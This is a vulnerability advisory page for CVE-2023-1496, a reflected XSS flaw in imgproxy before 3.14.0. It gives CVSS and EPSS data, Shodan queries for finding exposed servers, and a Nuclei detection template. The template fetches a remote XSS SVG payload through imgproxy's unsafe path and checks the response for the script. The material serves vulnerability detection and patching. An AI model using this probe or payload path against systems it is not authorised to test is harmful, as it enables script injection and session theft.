SecurityContext

CVE-2023-1496: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

Classification

  • Cwe: CWE-79
  • Cvss score: 5.4
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01585
  • Epss percentile: 0.76216
  • Cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: imgproxy
  • Shodan-query: Server: imgproxy, server: imgproxy
  • Vendor: evilmartians
  • Verified: yes

Products

ProductIndexedUrl
evilmartians:imgproxyyes/v1/products/evilmartians/imgproxy

Labels

  • Name: imgproxy imgproxy - Reflected XSS
  • Impact: Attackers can execute malicious scripts in victim browsers, potentially stealing cookies or session tokens.
  • Remediation: Update to version 3.14.0 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-1496

```yaml

id: CVE-2023-1496

info:

name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

author: pdteam

severity: medium

description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

remediation: |

Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.

reference:

- https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689

- https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

cvss-score: 5.4

cve-id: CVE-2023-1496

cwe-id: CWE-79

epss-score: 0.01585

epss-percentile: 0.76216

cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: evilmartians

product: imgproxy

shodan-query:

- "Server: imgproxy"

- "server: imgproxy"

tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln

http:

- method: GET

path:

- "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "alert(document.domain);"

- "<?xml version"

- '<script type="text/javascript">'

condition: and

- type: word

part: header

words:

- "Content-Security-Policy: default-src 'none';"

negative: true

- type: status

status:

- 200

digest: 4b0a0048304602210081e104bceacd6ae58db955079b8554a0b689c202dcd2b3c5f4c7fa1cab003a20022100b05bfae3052332841279f712328af97f551c419456772a50bcc2fe511be291f8:922c64590222798bb761d5b6d8e72950

```